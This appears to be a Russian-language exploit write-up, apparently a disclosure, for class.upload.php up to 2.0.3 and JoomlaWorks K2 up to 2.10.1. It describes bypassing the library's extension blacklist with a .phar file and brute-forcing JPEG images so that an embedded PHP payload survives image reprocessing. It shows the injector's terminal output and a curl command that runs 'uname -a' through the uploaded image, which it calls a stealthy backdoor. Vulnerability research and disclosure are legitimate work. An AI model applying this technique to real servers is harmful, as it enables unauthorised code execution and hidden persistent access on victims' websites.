
Это эксплойт обхода фильтра, который приводит к произвольной загрузке файлов и удаленному выполнению кода в class.upload.php <= 2.0.3
Это эксплойт для обхода фильтра, приводящий к произвольной загрузке файлов и удалённому выполнению кода. Скрипт class.upload.php фильтрует «опасные файлы и содержимое» и переименовывает их в расширение txt. Он также выполняет различные преобразования загруженного изображения, что обычно уничтожает любую внедрённую нагрузку, даже если фильтр расширений можно обойти.
Фильтр расширений файлов представляет собой чёрный список, поэтому при появлении нового расширения (в данном случае phar) или если какое-то было пропущено, можно загрузить PHP-файл. Однако содержимое всё равно должно быть корректным изображением и будет обработано через imagecreatefromjpeg и аналогичные функции. Для этой цели я написал скрипт inject.php, который по сути перебирает различные изображения, пока не найдёт такое, в котором нагрузка не будет уничтожена процессом, выполняемым в class.upload.php. Это даёт нам произвольную загрузку файлов и очень скрытное выполнение кода, так как файл остаётся корректным изображением и будет отображаться как таковое на страницах, куда его загрузили.
Скрипт upload.php — это пример кода из репозитория verot.net на GitHub. Я решил, что лучше всего продемонстрировать эту уязвимость с помощью их собственного примера кода.
user@ayu:/var/www/html# php inject.php
-=Imagejpeg injector 1.7=-
[+] Fetching image (100 X 100) from http://lorempixel.com/100/100/
[+] Jumping to end byte
[+] Searching for valid injection point
[!] Temp solution, if you get a 'recoverable parse error' here, it means it probably failed
[+] It seems like it worked!
[+] Result file: image.jpg.phar
user@ayu:/var/www/html# curl -v -o - http://localhost/images/image_resized.phar?c=uname%20-a | grep -aPo "(Linux.*GNU)"
Linux ayu 5.0.0-36-generic #39-Ubuntu SMP Tue Nov 12 09:46:06 UTC 2019 x86_64 x86_64 x86_64 GNU
Произвольная загрузка файлов, приводящая к удалённому выполнению кода в JoomlaWorks K2 <= 2.10.1 из-за неисправленной версии class.upload.php
Обычный пользователь загружает изображение, созданное inject.php, содержащее простую нагрузку. Оно обходит фильтр расширений в class.upload.php и не уничтожается обработкой изображений в библиотеке. Оно будет отображаться как обычное изображение, что делает атаку более незаметной.
Файл будет загружен и может быть использован как бэкдор для выполнения команд.